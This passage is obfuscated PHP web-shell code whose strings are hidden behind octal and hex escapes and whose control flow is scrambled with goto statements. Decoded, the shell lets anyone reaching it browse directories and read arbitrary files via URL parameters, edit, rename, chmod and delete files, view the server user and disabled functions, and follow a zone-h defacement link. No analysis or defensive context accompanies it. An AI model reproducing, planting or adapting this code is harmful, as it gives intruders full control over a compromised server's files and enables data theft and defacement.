"\\74\\143\\145\\156\\164\\x65\\x72\\76\\x3c\\142\\162\\57\\x3e\\107\\141\\x6e\\163\\120\\63\\157\\x70\\154\\x33\\x3c\\x2f\\143\\145\\x6e\\164\\145\\x72\\76\\12\\74\\x2f\\x62\\x6f\\x64\\171\\76\\xa\\74\\57\\x68\\164\\155\\154\\x3e"; goto EhtbI; NrdgE: echo "\\x5b\\40\\x3c\\x61\\x20\\x68\\162\\145\\146\\75\\47\\77\\x64\\x69\\x72\\75{$dir}\\46\\164\\157\\75\\172\\157\\x6e\\x65\\x68\\47\\x3e\\x5a\\x6f\\156\\145\\55\\x68\\74\\57\\141\\x3e\\x20\\x5d"; goto tNdgT; gcR1y: echo "\\x3c\\57\\x63\\145\\156\\x74\\145\\x72\\76"; goto DAOoZ; q7n3I: if (isset($_GET["\\x64\\151\\x72"])) { $dir = $_GET["\\144\\151\\x72"]; chdir($dir); } else { $dir = getcwd(); } goto XREdm; mUZyx: error_reporting(0); goto KMBTH; HXKkw: foreach ($paths as $id => $pat) { if ($pat == \'\' && $id == 0) { $a = true; echo "\\74\\x61\\x20\\x68\\162\\145\\x66\\x3d\\x22\\77\\160\\x61\\x74\\150\\75\\57\\42\\76\\57\\74\\57\\x61\\76"; continue; } if ($pat == \'\') { continue; } echo "\\x3c\\x61\\40\\150\\162\\x65\\x66\\x3d\\x22\\77\\x70\\141\\164\\150\\x3d"; for ($i = 0; $i <= $id; $i++) { echo "{$paths[$i]}"; if ($i != $id) { echo "\\x2f"; } } echo "\\x22\\x3e" . $pat . "\\x3c\\x2f\\141\\x3e\\x2f"; } goto pPL_y; KMBTH: set_time_limit(0); goto x8LHV; aOkL5: $ds = @ini_get("\\144\\151\\x73\\141\\x62\\154\\145\\137\\x66\\165\\156\\x63\\x74\\151\\157\\x6e\\x73"); goto h1MIW; eQfl7: if (isset($_GET["\\x66\\x69\\x6c\\x65\\163\\x72\\x63"])) { echo "\\x3c\\164\\x72\\76\\74\\x74\\x64\\x3e\\x43\\x75\\162\\x72\\145\\156\\x74\\x20\\106\\151\\154\\145\\40\\72\\x20"; echo $_GET["\\146\\x69\\154\\x65\\x73\\x72\\x63"]; echo "\\x3c\\57\\164\\162\\76\\74\\x2f\\x74\\x64\\76\\74\\x2f\\164\\x61\\142\\x6c\\x65\\x3e\\x3c\\142\\162\\x20\\57\\76"; echo "\\x3c\\160\\162\\x65\\76" . htmlspecialchars(file_get_contents($_GET["\\146\\151\\154\\x65\\163\\x72\\x63"])) . "\\74\\x2f\\x70\\x72\\145\\x3e"; } elseif (isset($_GET["\\x6f\\x70\\164\\x69\\157\\156"]) && $_POST["\\x6f\\160\\x74"] != "\\144\\145\\x6c\\145\\164\\145") { echo "\\74\\x2f\\164\\141\\x62\\154\\145\\x3e\\x3c\\x62\\162\\40\\57\\76\\x3c\\143\\145\\156\\x74\\x65\\162\\x3e" . $_POST["\\x70\\x61\\x74\\150"] . "\\74\\x62\\x72\\40\\x2f\\76\\x3c\\x62\\x72\\x20\\57\\x3e"; if ($_POST["\\x6f\\x70\\x74"] == "\\x63\\150\\x6d\\x6f\\144") { if (isset($_POST["\\x70\\145\\162\\x6d"])) { if (chmod($_POST["\\x70\\141\\x74\\x68"], $_POST["\\x70\\145\\x72\\155"])) { echo "\\74\\x66\\x6f\\156\\164\\40\\143\\157\\x6c\\157\\x72\\x3d\\x22\\141\\x71\\x75\\x61\\42\\76\\103\\150\\x61\\x6e\\x67\\x65\\x20\\120\\x65\\162\\x6d\\x69\\163\\x73\\x69\\157\\x6e\\40\\x42\\x65\\162\\150\\141\\163\\151\\x6c\\74\\57\\146\\157\\x6e\\x74\\x3e\\x3c\\142\\x72\\57\\x3e"; } else { echo "\\x3c\\146\\x6f\\x6e\\x74\\40\\143\\x6f\\x6c\\x6f\\x72\\75\\x22\\162\\x65\\x64\\x22\\x3e\\103\\x68\\141\\156\\147\\x65\\40\\120\\145\\162\\x6d\\x69\\x73\\x73\\x69\\x6f\\156\\40\\x47\\x61\\x67\\141\\x6c\\x3c\\x2f\\146\\x6f\\x6e\\164\\76\\x3c\\x62\\x72\\40\\57\\76"; } } echo "\\74\\146\\157\\x72\\155\\x20\\x6d\\145\\x74\\x68\\x6f\\144\\75\\42\\120\\x4f\\x53\\124\\42\\76\\xa\\120\\145\\162\\155\\151\\163\\163\\x69\\x6f\\156\\x20\\72\\x20\\74\\151\\156\\160\\165\\164\\40\\156\\141\\155\\x65\\75\\x22\\160\\x65\\x72\\155\\42\\x20\\x74\\x79\\x70\\145\\x3d\\42\\x74\\x65\\170\\164\\42\\x20\\163\\151\\172\\145\\75\\x22\\x34\\x22\\40\\166\\x61\\154\\165\\x65\\75\\42" . substr(sprintf("\\x25\\157", fileperms($_POST["\\x70\\x61\\x74\\150"])), -4) . "\\x22\\x20\\57\\x3e\\xa\\74\\151\\156\\160\\x75\\164\\40\\164\\x79\\x70\\x65\\x3d\\x22\\x68\\151\\144\\x64\\x65\\156\\x22\\40\\156\\x61\\x6d\\x65\\x3d\\x22\\x70\\141\\164\\150\\x22\\x20\\166\\141\\154\\165\\x65\\75\\42" . $_POST["\\160\\141\\164\\150"] . "\\42\\76\\12\\74\\151\\156\\x70\\x75\\164\\40\\164\\x79\\160\\x65\\75\\42\\x68\\151\\144\\x64\\145\\156\\42\\40\\x6e\\x61\\155\\x65\\75\\42\\157\\x70\\164\\x22\\x20\\166\\141\\154\\x75\\145\\75\\x22\\143\\x68\\155\\157\\144\\42\\76\\12\\x3c\\151\\156\\x70\\x75\\164\\40\\x74\\171\\160\\x65\\x3d\\42\\x73\\x75\\x62\\x6d\\151\\164\\x22\\40\\x76\\141\\154\\x75\\145\\x3d\\42\\107\\157\\x22\\x20\\57\\x3e\\12\\x3c\\x2f\\x66\\157\\x72\\x6d\\x3e"; } elseif ($_POST["\\157\\x70\\x74"] == "\\x72\\145\\x6e\\141\\x6d\\x65") { if (isset($_POST["\\x6e\\145\\x77\\x6e\\x61\\155\\x65"])) { if (rename($_POST["\\x70\\141\\164\\150"], $path . "\\x2f" . $_POST["\\156\\145\\x77\\x6e\\141\\x6d\\145"])) { echo "\\x3c\\x66\\157\\156\\164\\x20\\x63\\157\\154\\x6f\\x72\\75\\42\\141\\161\\165\\x61\\x22\\76\\107\\141\\156\\x74\\x69\\40\\116\\141\\155\\141\\40\\102\\x65\\162\\150\\x61\\x73\\151\\x6c\\x3c\\x2f\\146\\157\\x6e\\164\\76\\x3c\\142\\162\\x2f\\x3e"; } else { echo "\\x3c\\146\\x6f\\x6e\\x74\\x20\\x63\\x6f\\x6c\\x6f\\x72\\75\\x22\\x72\\x65\\x64\\x22\\x3e\\x47\\141\\156\\164\\x69\\x20\\x4e\\141\\155\\x61\\40\\x47\\x61\\147\\x61\\x6c\\x3c\\57\\146\\x6f\\x6e\\164\\76\\x3c\\142\\x72\\x20\\57\\76"; } $_POST["\\x6e\\x61\\155\\x65"] = $_POST["\\156\\x65\\x77\\x6e\\141\\x6d\\145"]; } echo "\\x3c\\146\\157\\162\\x6d\\40\\x6d\\x65\\164\\150\\157\\144\\75\\42\\120\\117\\123\\124\\x22\\x3e\\12\\x4e\\141\\155\\x61\\40\\x42\\x61\\x72\\165\\40\\72\\40\\74\\151\\x6e\\x70\\x75\\x74\\x20\\x6e\\141\\x6d\\145\\75\\x22\\x6e\\x65\\167\\156\\x61\\x6d\\x65\\42\\40\\x74\\171\\160\\x65\\75\\x22\\164\\x65\\170\\x74\\42\\40\\x73\\151\\x7a\\x65\\x3d\\42\\x32\\60\\x22\\40\\166\\141\\154\\x75\\x65\\x3d\\x22" . $_POST["\\x6e\\141\\155\\x65"] . "\\x22\\40\\x2f\\76\\xa\\74\\x69\\156\\x70\\x75\\164\\40\\x74\\x79\\x70\\145\\x3d\\x22\\150\\x69\\x64\\144\\x65\\x6e\\42\\40\\x6e\\141\\x6d\\145\\x3d\\x22\\x70\\141\\x74\\150\\42\\40\\x76\\x61\\154\\x75\\x65\\75\\42" . $_POST["\\x70\\x61\\x74\\150"] . "\\42\\x3e\\12\\74\\151\\x6e\\x70\\165\\x74\\x20\\164\\x79\\160\\x65\\x3d\\x22\\150\\x69\\x64\\x64\\145\\x6e\\42\\x20\\156\\141\\155\\x65\\75\\x22\\x6f\\x70\\164\\x22\\40\\166\\141\\154\\x75\\145\\x3d\\42\\162\\145\\x6e\\x61\\155\\145\\42\\x3e\\xa\\74\\x69\\156\\x70\\165\\164\\40\\x74\\171\\160\\145\\75\\x22\\163\\x75\\142\\155\\x69\\x74\\x22\\40\\x76\\141\\x6c\\x75\\x65\\75\\42\\x43\\162\\x6f\\x74\\172\\42\\40\\x2f\\x3e\\xa\\x3c\\57\\146\\157\\162\\x6d\\76"; } elseif ($_POST["\\x6f\\160\\x74"] == "\\x65\\x64\\x69\\164") { if (isset($_POST["\\x73\\x72\\143"])) { $fp = fopen($_POST["\\x70\\x61\\x74\\x68"], "\\167"); if (fwrite($fp, $_POST["\\x73\\x72\\x63"])) { echo "\\x3c\\146\\157\\156\\x74\\x20\\x63\\x6f\\154\\x6f\\x72\\x3d\\42\\141\\161\\165\\x61\\x22\\76\\x42\\x65\\162\\150\\141\\x73\\x69\\154\\40\\105\\144\\151\\164\\40\\x46\\x69\\154\\x65\\74\\57\\146\\157\\x6e\\164\\76\\74\\142\\x72\\57\\x3e"; } else { echo "\\x3c\\146\\157\\156\\x74\\40\\143\\157\\x6c\\157\\x72\\75\\x22\\x72\\145\\x64\\x22\\76\\107\\141\\147\\x61\\154\\x20\\105\\144\\151\\x74\\40\\x46\\151\\x6c\\x65\\x3c\\57\\146\\x6f\\x6e\\x74\\76\\x3c\\142\\162\\x2f\\76"; } fclose($fp); } echo "\\x3c\\146\\157\\x72\\155\\40\\155\\x65\\164\\150\\x6f\\144\\x3d\\42\\x50\\x4f\\x53\\124\\42\\x3e\\xa\\74\\164\\145\\x78\\x74\\141\\162\\145\\141\\40\\x63\\157\\x6c\\163\\75\\x38\\60\\x20\\162\\157\\167\\x73\\x3d\\x32\\60\\x20\\x6e\\x61\\155\\145\\x3d\\42\\163\\x72\\x63\\42\\x3e" . htmlspecialchars(file_get_contents($_POST["\\160\\x61\\x74\\150"])) . "\\x3c\\x2f\\x74\\x65\\170\\x74\\x61\\x72\\145\\141\\x3e\\x3c\\x62\\162\\x20\\57\\76\\12\\x3c\\x69\\x6e\\x70\\x75\\x74\\x20\\x74\\171\\160\\x65\\75\\42\\x68\\x69\\144\\x64\\145\\x6e\\42\\40\\156\\x61\\155\\x65\\75\\x22\\160\\141\\164\\x68\\x22\\x20\\166\\141\\x6c\\165\\145\\75\\42" . $_POST["\\x70\\141\\164\\150"] . "\\42\\x3e\\12\\74\\x69\\156\\x70\\165\\164\\40\\x74\\x79\\x70\\145\\75\\42\\150\\x69\\144\\x64\\x65\\156\\42\\x20\\156\\x61\\155\\145\\75\\42\\x6f\\160\\x74\\42\\x20\\x76\\141\\154\\x75\\145\\75\\x22\\x65\\144\\151\\x74\\x22\\76\\12\\x3c\\x69\\156\\160\\165\\x74\\40\\164\\171\\160\\145\\75\\x22\\163\\165\\x62\\155\\151\\164\\42\\40\\166\\141\\x6c\\x75\\x65\\75\\42\\x53\\141\\x76\\145\\x22\\40\\x2f\\76\\12\\x3c\\x2f\\x66\\x6f\\x72\\155\\x3e"; } echo "\\74\\57\\143\\x65\\156\\x74\\145\\x72\\76"; } else { echo "\\74\\x2f\\164\\141\\142\\154\\145\\76\\74\\142\\162\\x2f\\x3e\\x3c\\143\\145\\156\\164\\145\\x72\\76"; if (isset($_GET["\\x6f\\x70\\164\\x69\\x6f\\156"]) && $_POST["\\x6f\\160\\164"] == "\\x64\\x65\\154\\x65\\x74\\145") { if ($_POST["\\164\\x79\\160\\x65"] == "\\x64\\x69\\162") { if (rmdir($_POST["\\160\\141\\164\\150"])) { echo "\\74\\146\\157\\x6e\\x74\\40\\143\\x6f\\x6c\\x6f\\x72\\x3d\\x22\\x61\\161\\x75\\141\\x22\\76\\x44\\x69\\x72\\x65\\143\\x74\\157\\x72\\171\\x20\\124\\145\\162\\x68\\141\\x70\\165\\163\\x3c\\57\\x66\\157\\156\\164\\76\\74\\142\\x72\\57\\x3e"; } else { echo "\\x3c\\146\\157\\156\\164\\x20\\143\\x6f\\154\\157\\162\\x3d\\x22\\162\\145\\144\\x22\\x3e\\104\\151\\162\\x65\\143\\x74\\157\\x72\\x79\\40\\107\\x61\\147\\x61\\x6c\\40\\124\\145\\162\\x68\\x61\\160\\165\\163\\40\\x20\\x20\\40\\x20\\x20\\40\\40\\x20\\40\\40\\40\\x20\\40\\40\\x20\\x20\\x20\\x20\\40\\40\\40\\x20\\40\\x20\\x20\\40\\x20\\x20\\40\\x20\\x20\\40\\x20\\x20\\40\\x20\\x20\\40\\40\\40\\x20\\x20\\40\\x20\\40\\40\\x20\\x20\\x20\\40\\x20\\40\\x20\\40\\40\\40\\x20\\x20\\40\\40\\40\\40\\40\\40\\40\\x20\\x20\\40\\x20\\40\\40\\40\\40\\40\\40\\40\\x20\\x20\\x20\\x20\\40\\40\\x20\\x20\\40\\x20\\40\\40\\40\\x20\\x20\\40\\x20\\40\\x20\\x20\\40\\x20\\40\\40\\x20\\40\\x20\\40\\40\\x20\\40\\40\\x20\\x20\\40\\40\\40\\40\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\40\\x20\\40\\x20\\40\\x20\\40\\x20\\40\\40\\40\\40\\x20\\x20\\40\\x20\\x20\\40\\40\\x20\\x20\\40\\x20\\x20\\x20\\40\\40\\x20\\x20\\40\\40\\40\\40\\40\\x20\\40\\x20\\x20\\40\\x20\\x20\\x20\\x20\\x20\\40\\x20\\40\\x20\\x20\\x20\\40\\x20\\x20\\40\\x20\\40\\40\\40\\40\\40\\x20\\40\\x20\\40\\x20\\40\\40\\x20\\x20\\40\\40\\x20\\x20\\40\\x20\\x20\\x20\\x20\\x20\\40\\40\\x20\\40\\x20\\40\\40\\x20\\x20\\40\\40\\x20\\x20\\x20\\40\\40\\x20\\x20\\x20\\x20\\40\\x20\\x20\\x20\\x20\\40\\40\\40\\x20\\x20\\x20\\40\\x20\\40\\40\\x20\\x20\\40\\x20\\x20\\40\\x20\\x20\\40\\40\\40\\40\\x20\\x20\\40\\x20\\x20\\40\\x20\\40\\x20\\x20\\40\\40\\x20\\40\\40\\40\\x20\\x20\\40\\x20\\x20\\40\\40\\x20\\x20\\40\\40\\x20\\40\\40\\x20\\40\\40\\x20\\40\\40\\x20\\74\\x2f\\x66\\x6f\\x6e\\x74\\76\\74\\x62\\162\\57\\76"; } } elseif ($_POST["\\164\\x79\\160\\145"] == "\\x66\\x69\\154\\145") { if (unlink($_POST["\\x70\\x61\\x74\\150"])) { echo "\\x3c\\146\\157\\156\\164\\40\\143\\x6f\\154\\x6f\\162\\x3d\\42\\141\\x71\\x75\\141\\x22\\x3e\\x46\\151\\x6c\\145\\x20\\124\\145\\x72\\150\\x61\\160\\165\\x73\\x3c\\x2f\\x66\\x6f\\x6e\\x74\\76\\74\\142\\162\\x2f\\x3e"; } else { echo "\\x3c\\146\\157\\x6e\\164\\x20\\143\\x6f\\x6c\\x6f\\162\\75\\42\\162\\x65\\144\\x22\\76\\x46\\x69\\x6c\\145\\x20\\107\\141\\x67\\x61\\154\\x20\\x44\\x69\\x68\\x61\\x70\\165\\x73\\x3c\\57\\146\\157\\156\\x74\\76\\x3c\\x62\\x72\\x2f\\x3e"; } } } echo "\\x3c\\x2f\\x63\\145\\x6e\\x74\\x65\\x72\\x3e"; $scandir = scandir($path); echo "\\74\\x64\\x69\\166\\40\\x69\\144\\75\\x22\\143\\x6f\\x6e\\164\\145\\x6e\\x74\\42\\x3e\\74\\164\\141\\142\\x6c\\x65\\40\\x77\\x69\\144\\164\\150\\75\\42\\67\\x30\\60\\42\\x20\\x62\\157\\162\\144\\x65\\162\\75\\x22\\x30\\x22\\40\\x63\\x65\\x6c\\x6c\\x70\\x61\\144\\x64\\151\\156\\x67\\75\\42\\63\\42\\40\\143\\145\\154\\x6c\\x73\\160\\141\\x63\\x69\\x6e\\147\\x3d\\42\\x31\\42\\40\\x61\\x6c\\151\\x67\\x6e\\x3d\\42\\143\\x65\\x6e\\164\\145\\x72\\42\\76\\xa\\74\\x74\\162\\40\\143\\x6c\\141\\x73\\163\\75\\x22\\x66\\x69\\x72\\x73\\x74\\x22\\76\\12\\74\\x74\\x64\\x3e\\x3c\\x63\\145\\156\\x74\\x65\\162\\x3e\\116\\141\\155\\x65\\74\\x2f\\x70\\x65\\154\\x6c\\x65\\x72\\76\\x3c\\x2f\\143\\x65\\156\\x74\\145\\x72\\x3e\\74\\57\\x74\\x64\\x3e\\xa\\x3c\\164\\x64\\x3e\\74\\x63\\145\\x6e\\x74\\x65\\x72\\x3e\\123\\x69\\172\\x65\\74\\57\\160\\145\\154\\154\\x65\\162\\x3e\\x3c\\57\\x63\\145\\x6e\\164\\x65\\x72\\x3e\\x3c\\57\\x74\\x64\\76\\xa\\74\\x74\\144\\76\\x3c\\x63\\145\\x6e\\164\\145\\162\\76\\120\\x65\\x72\\x6d\\x69\\163\\163\\151\\157\\156\\74\\x2f\\x70\\145\\x6c\\154\\145\\x72\\x3e\\x3c\\x2f\\143\\x65\\156\\x74\\145\\x72\\76\\x3c\\57\\x74\\144\\x3e\\12\\74\\164\\x64\\x3e\\x3c\\143\\x65\\156\\164\\145\\162\\76\\x4d\\x6f\\144\\x69\\x66\\x79\\74\\x2f\\x70\\x65\\154\\154\\x65\\162\\76\\74\\x2f\\143\\145\\156\\164\\x65\\x72\\x3e\\x3c\\57\\164\\x64\\x3e\\12\\74\\57\\x74\\162\\76"; foreach ($scandir as $dir) { if (!is_dir($path . "\\x2f" . $dir) || $dir == "\\56" || $dir == "\\x2e\\56") { continue; } echo "\\74\\x74\\x72\\x3e\\12\\74\\x74\\x64\\76\\x3c\\141\\x20\\150\\162\\145\\x66\\75\\42\\77\\x70\\141\\164\\x68\\75" . $path . "\\57" . $dir . "\\x22\\76" . $dir . "\\74\\x2f\\141\\x3e\\x3c\\57\\x74\\x64\\76\\12\\x3c\\x74\\144\\x3e\\74\\x63\\x65\\156\\164\\x65\\x72\\x3e\\55\\55\\74\\x2f\\143\\145\\156\\x74\\145\\162\\76\\x3c\\x2f\\164\\x64\\x3e\\12\\74\\x74\\144\\76\\x3c\\x63\\x65\\156\\164\\x65\\x72\\76"; if (is_writable($path . "\\57" . $dir)) { echo "\\x3c\\146\\157\\156\\x74\\40\\143\\x6f\\154\\x6f\\162\\x3d\\x22\\141\\x71\\165\\x61\\x22\\x3e"; } elseif (!is_readable($path . "\\x2f" . $dir)) { echo "\\x3c\\x66\\x6f\\x6e\\x74\\40\\143\\x6f\\154\\x6f\\x72\\x3d\\42\\x72\\145\\x64\\x22\\x3e"; } echo perms($path . "\\57" . $dir); if (is_writable($path . "\\x2f" . $dir) || !is_readable($path . "\\x2f" . $dir)) { echo "\\74\\57\\x66\\x6f\\156\\164\\x3e"; } echo "\\x3c\\x2f\\x63\\145\\x6e\\x74\\x65\\x72\\x3e\\x3c\\x2f\\164\\x64\\76\\12\\74\\x74\\x64\\x3e\\74\\143\\145\\156\\x74\\x65\\x72\\76\\x3c\\146\\x6f\\x72\\x6d\\x20\\x6d\\x65\\164\\x68\\157\\x64\\x3d\\x22\\x50\\117\\123\\x54\\x22\\40\\x61\\143\\164\\x69\\157\\x6e\\75\\42\\x3f\\x6f\\160\\164\\151\\x6f\\156\\x26\\160\\141\\164\\150\\x3d" . $path . "\\x22\\76\\12\\x3c\\163\\x65\\154\\145\\x63\\x74\\x20\\156\\x61\\155\\x65\\75\\x22\\x6f\\x70\\x74\\42\\76\\xa\\74\\x6f\\x70\\164\\151\\157\\x6e\\40\\x76\\x61\\x6c\\165\\145\\x3d\\42\\x22\\x3e\\x53\\145\\154\\x65\\143\\164\\74\\x2f\\157\\160\\164\\151\\157\\156\\x3e\\12\\74\\x6f\\160\\164\\x69\\x6f\\x6e\\x20\\166\\x61\\154\\165\\x65\\75\\42\\144\\x65\\x6c\\145\\x74\\x65\\42\\76\\x44\\145\\x6c\\x65\\x74\\145\\74\\x2f\\x6f\\160\\164\\x69\\157\\x6e\\76\\12\\x3c\\157\\x70\\164\\151\\x6f\\156\\x20\\166\\x61\\x6c\\x75\\x65\\75\\x22\\x63\\150\\x6d\\x6f\\x64\\42\\76\\103\\x68\\155\\157\\x64\\74\\x2f\\x6f\\x70\\x74\\151\\157\\156\\76\\xa\\74\\x6f\\160\\164\\151\\x6f\\x6e\\40\\166\\x61\\x6c\\x75\\x65\\x3d\\42\\x72\\x65\\x6e\\141\\x6d\\x65\\42\\x3e\\x52\\x65\\156\\x61\\x6d\\145\\74\\57\\157\\160\\164\\x69\\157\\156\\x3e\\xa\\74\\57\\x73\\x65\\154\\145\\x63\\x74\\76\\12\\74\\151\\x6e\\160\\x75\\164\\40\\164\\x79\\160\\x65\\x3d\\42\\150\\151\\144\\144\\145\\x6e\\42\\40\\156\\x61\\x6d\\x65\\75\\x22\\164\\171\\160\\x65\\x22\\x20\\166\\141\\154\\x75\\x65\\75\\42\\144\\x69\\162\\x22\\76\\12\\74\\x69\\x6e\\160\\165\\164\\40\\164\\171\\x70\\x65\\75\\42\\x68\\x69\\144\\144\\145\\x6e\\42\\40\\x6e\\141\\155\\x65\\75\\x22\\156\\x61\\x6d\\x65\\42\\40\\x76\\x61\\x6c\\165\\x65\\75\\x22" . $dir . "\\42\\x3e\\xa\\74\\151\\156\\x70\\165\\164\\x20\\x74\\171\\160\\145\\x3d\\42\\x68\\151\\144\\x64\\x65\\x6e\\42\\x20\\x6e\\141\\155\\x65\\x3d\\42\\x70\\141\\164\\x68\\x22\\40\\166\\141\\x6c\\165\\x65\\x3d\\x22" . $path . "\\x2f" . $dir . "\\x22\\x3e\\xa\\74\\151\\156\\160\\165\\164\\40\\x74\\x79\\x70\\145\\75\\42\\163\\165\\142\\x6d\\151\\164\\42\\40\\x76\\141\\154\\x75\\145\\x3d\\x22\\x3e\\x22\\76\\12\\74\\57\\x66\\157\\162\\x6d\\76\\74\\x2f\\x63\\145\\156\\164\\145\\x72\\76\\74\\x2f\\164\\144\\76\\12\\x3c\\57\\164\\162\\x3e"; } echo "\\x3c\\164\\162\\x20\\143\\x6c\\141\\163\\x73\\75\\x22\\146\\151\\162\\x73\\164\\x22\\76\\x3c\\x74\\x64\\x3e\\74\\57\\x74\\144\\76\\x3c\\x74\\144\\76\\x3c\\57\\164\\144\\x3e\\74\\x74\\x64\\76\\74\\x2f\\x74\\x64\\76\\x3c\\x74\\144\\x3e\\x3c\\x2f\\164\\x64\\x3e\\x3c\\x2f\\164\\x72\\76"; foreach ($scandir as $file) { if (!is_file($path . "\\57" . $file)) { continue; } $size = filesize($path . "\\57" . $file) / 1024; $size = round($size, 3); if ($size >= 1024) { $size = round($size / 1024, 2) . "\\x20\\115\\x42"; } else { $size = $size . "\\x20\\113\\x42"; } echo "\\x3c\\164\\162\\76\\12\\74\\164\\x64\\76\\74\\141\\40\\x68\\162\\x65\\x66\\x3d\\42\\x3f\\x66\\151\\154\\x65\\163\\162\\143\\x3d" . $path . "\\57" . $file . "\\46\\160\\x61\\164\\150\\75" . $path . "\\x22\\76" . $file . "\\74\\x2f\\141\\76\\74\\x2f\\x74\\x64\\x3e\\xa\\74\\x74\\144\\76\\74\\143\\145\\x6e\\x74\\x65\\x72\\76" . $size . "\\74\\x2f\\143\\145\\x6e\\x74\\145\\x72\\76\\x3c\\x2f\\x74\\x64\\76\\xa\\74\\164\\144\\x3e\\74\\143\\145\\x6e\\x74\\x65\\x72\\x3e"; if (is_writable($path . "\\57" . $file)) { echo "\\74\\146\\x6f\\x6e\\x74\\x20\\x63\\157\\x6c\\x6f\\x72\\75\\42\\141\\x71\\x75\\x61\\x22\\x3e"; } elseif (!is_readable($path . "\\57" . $file)) { echo "\\74\\146\\157\\x6e\\164\\40\\x63\\x6f\\x6c\\157\\x72\\75\\x22\\x72\\145\\x64\\42\\76"; } echo perms($path . "\\57" . $file); if (is_writable($path . "\\x2f" . $file) || !is_readable($path . "\\57" . $file)) { echo "\\74\\x2f\\146\\157\\x6e\\x74\\x3e"; } echo "\\74\\x2f\\143\\145\\156\\164\\145\\162\\x3e\\x3c\\x2f\\x74\\144\\x3e\\xa\\74\\x74\\144\\x3e\\74\\143\\145\\x6e\\x74\\x65\\x72\\76\\74\\146\\x6f\\x72\\x6d\\40\\155\\145\\x74\\150\\157\\144\\75\\42\\x50\\x4f\\123\\124\\x22\\x20\\141\\143\\x74\\151\\157\\x6e\\x3d\\42\\x3f\\x6f\\160\\164\\151\\157\\156\\x26\\160\\x61\\x74\\x68\\x3d" . $path . "\\42\\76\\12\\x3c\\x73\\x65\\x6c\\x65\\x63\\164\\40\\x6e\\141\\x6d\\145\\x3d\\42\\157\\x70\\x74\\x22\\76\\xa\\x3c\\157\\160\\x74\\151\\x6f\\156\\x20\\x76\\x61\\154\\x75\\145\\x3d\\x22\\42\\x3e\\x50\\151\\x6c\\151\\x68\\74\\x2f\\x6f\\160\\164\\151\\157\\x6e\\76\\12\\74\\157\\160\\x74\\x69\\157\\x6e\\x20\\166\\141\\x6c\\x75\\145\\75\\x22\\x64\\145\\x6c\\x65\\x74\\145\\42\\x3e\\x48\\x61\\x70\\x75\\163\\74\\x2f\\x6f\\x70\\x74\\x69\\x6f\\156\\x3e\\12\\74\\x6f\\x70\\x74\\x69\\x6f\\x6e\\x20\\166\\x61\\154\\165\\145\\75\\x22\\143\\150\\x6d\\x6f\\144\\42\\76\\103\\150\\x6d\\157\\144\\74\\57\\157\\160\\164\\x69\\x6f\\x6e\\76\\xa\\74\\157\\160\\x74\\x69\\157\\x6e\\40\\x76\\141\\x6c\\165\\145\\75\\42\\162\\145\\x6e\\x61\\155\\145\\42\\76\\107\\x61\\156\\x74\\151\\x20\\116\\141\\155\\141\\74\\57\\x6f\\x70\\x74\\151\\157\\x6e\\x3e\\12\\x3c\\x6f\\160\\x74\\x69\\157\\x6e\\x20\\166\\141\\154\\165\\145\\x3d\\x22\\x65\\x64\\151\\164\\42\\x3e\\125\\142\\141\\150\\74\\57\\x6f\\160\\164\\151\\x6f\\x6e\\x3e\\xa\\x3c\\57\\163\\145\\154\\145\\143\\x74\\x3e\\xa\\x3c\\151\\156\\x70\\165\\164\\40\\164\\171\\x70\\145\\75\\x22\\150\\151\\144\\x64\\x65\\156\\42\\40\\156\\x61\\155\\x65\\75\\x22\\164\\171\\160\\x65\\x22\\x20\\166\\141\\154\\165\\x65\\75\\x22\\146\\x69\\154\\x65\\42\\x3e\\xa\\74\\x69\\156\\x70\\x75\\x74\\40\\x74\\171\\x70\\145\\75\\x22\\150\\x69\\x64\\x64\\145\\156\\x22\\x20\\156\\x61\\155\\145\\75\\x22\\x6e\\141\\155\\145\\x22\\40\\x76\\x61\\154\\165\\145\\x3d\\x22" . $file . "\\x22\\x3e\\12\\74\\x69\\x6e\\x70\\165\\164\\40\\164\\x79\\160\\145\\75\\42\\x68\\x69\\x64\\x64\\x65\\156\\x22\\x20\\x6e\\141\\155\\x65\\75\\x22\\x70\\x61\\164\\150\\x22\\40\\166\\141\\x6c\\165\\145\\x3d\\42" . $path . "\\x2f" . $file . "\\x22\\76\\12\\74\\x69\\156\\x70\\165\\x74\\40\\x74\\x79\\x70\\x65\\x3d\\42\\x73\\165\\x62\\155\\x69\\164\\42\\x20\\166\\141\\x6c\\165\\x65\\75\\42\\x3e\\42\\x3e\\12\\x3c\\x2f\\x66\\157\\162\\155\\x3e\\74\\57\\143\\145\\x6e\\x74\\x65\\x72\\x3e\\74\\x2f\\164\\x64\\x3e\\xa\\74\\57\\164\\162\\x3e"; } echo "\\x3c\\x2f\\x74\\141\\142\\154\\x65\\x3e\\xa\\74\\x2f\\144\\x69\\166\\76"; } goto KiNse; YUoe2: @ini_set("\\x6f\\165\\x74\\x70\\x75\\164\\137\\x62\\x75\\x66\\x66\\145\\x72\\x69\\156\\x67", 0); goto DerJX; j0vlr: $paths = explode("\\57", $path); goto HXKkw; UIETO: set_time_limit(0); goto CvvJS; lpQfz: $path = str_replace("\\134", "\\57", $path); goto j0vlr; vz4fq: if (isset($_GET["\\160\\x61\\x74\\x68"])) { $path = $_GET["\\160\\x61\\164\\x68"]; } else { $path = getcwd(); } goto lpQfz; qXdcU: echo "\\x44\\151\\x73\\x61\\x62\\154\\145\\40\\106\\165\\156\\143\\x74\\x69\\x6f\\156\\163\\x20\\72\\40{$show_ds}\\x3c\\142\\162\\76"; goto YhkYo; mIXQD: header("\\x43\\x6f\\156\\164\\145\\x6e\\164\\55\\x54\\171\\x70\\145\\72\\x20\\x74\\145\\x78\\x74\\57\\150\\164\\x6d\\154\\73\\x20\\x63\\150\\x61\\162\\x73\\145\\x74\\x3d\\125\\124\\106\\x2d\\70"); goto mUZyx; Jp20O: if (!function_exists("\\x70\\157\\x73\\151\\x78\\x5f\\147\\145\\x74\\145\\147\\x69\\144")) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "\\77"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid["\\x6e\\141\\155\\145"]; $uid = $uid["\\x75\\151\\x64"]; $group = $gid["\\x6e\\141\\x6d\\x65"]; $gid = $gid["\\147\\x69\\144"]; } goto qXdcU; DAOoZ: echo "\\x3c\\150\\x72\\76"; goto s_5Ib; tNdgT: echo 